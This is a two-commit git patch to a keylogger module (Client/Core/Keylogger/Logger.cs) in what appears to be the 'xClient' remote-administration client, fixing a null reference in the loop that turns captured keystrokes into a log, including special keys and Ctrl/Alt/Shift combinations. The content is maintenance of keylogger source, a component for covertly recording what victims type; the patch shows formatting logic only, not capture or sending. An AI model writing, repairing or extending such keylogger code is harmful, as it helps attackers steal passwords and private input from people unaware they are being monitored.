From a663994caa498e934f67ee09a8b725e24e22488d Mon Sep 17 00:00:00 2001 From: d3agle Date: Thu, 7 May 2015 02:00:10 -0500 Subject: [PATCH 1/2] null check fix fixed keylogger. for some reason there was nulled KeyData in the buffer --- Client/Core/Keylogger/Logger.cs | 117 ++++++++++++++++---------------- 1 file changed, 60 insertions(+), 57 deletions(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 326c3cef..7182521a 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -174,67 +174,70 @@ namespace xClient.Core.Keylogger _keyBuffer.CopyTo(keybuffer); foreach (var k in keybuffer) { - switch (k.Value) + if (k != null) { - case 8: - _logFileBuffer.Append(HighlightSpecialKey("Back")); - break; - case 9: - _logFileBuffer.Append(HighlightSpecialKey("Tab")); - break; - case 13: - _logFileBuffer.Append(HighlightSpecialKey("Enter")); - break; - case 32: - _logFileBuffer.Append(" "); - break; - case 46: - _logFileBuffer.Append(HighlightSpecialKey("Del")); - break; - case 91: - case 92: - _logFileBuffer.Append(HighlightSpecialKey("Win")); - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - _logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111))); - break; - default: - if (_enumValues.Contains(k.Value)) - { - if (k.AltKey && k.ControlKey && k.ShiftKey) + switch (k.Value) + { + case 8: + _logFileBuffer.Append(HighlightSpecialKey("Back")); + break; + case 9: + _logFileBuffer.Append(HighlightSpecialKey("Tab")); + break; + case 13: + _logFileBuffer.Append(HighlightSpecialKey("Enter")); + break; + case 32: + _logFileBuffer.Append(" "); + break; + case 46: + _logFileBuffer.Append(HighlightSpecialKey("Del")); + break; + case 91: + case 92: + _logFileBuffer.Append(HighlightSpecialKey("Win")); + break; + case 112: + case 113: + case 114: + case 115: + case 116: + case 117: + case 118: + case 119: + case 120: + case 121: + case 122: + _logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111))); + break; + default: + if (_enumValues.Contains(k.Value)) { - _logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + if (k.AltKey && k.ControlKey && k.ShiftKey) + { + _logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else if (k.AltKey && k.ControlKey && !k.ShiftKey) + { + _logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else if (k.AltKey && !k.ControlKey) + { + _logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else if (k.ControlKey && !k.AltKey) + { + _logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else + { + _logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock)); + } } - else if (k.AltKey && k.ControlKey && !k.ShiftKey) - { - _logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); - } - else if (k.AltKey && !k.ControlKey) - { - _logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); - } - else if (k.ControlKey && !k.AltKey) - { - _logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); - } - else - { - _logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock)); - } - } - break; + break; + } + j++; } - j++; } if (j > 0 && j <= _keyBuffer.Count) _keyBuffer.RemoveRange(0, j); From cc531e80661ea9094373a1ad3389d82f465e92f9 Mon Sep 17 00:00:00 2001 From: d3agle Date: Thu, 7 May 2015 04:15:56 -0500 Subject: [PATCH 2/2] null check fix fixed keylogger null reference --- Client/Core/Keylogger/Logger.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 7182521a..60536474 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -236,8 +236,8 @@ namespace xClient.Core.Keylogger } break; } - j++; } + j++; } if (j > 0 && j <= _keyBuffer.Count) _keyBuffer.RemoveRange(0, j);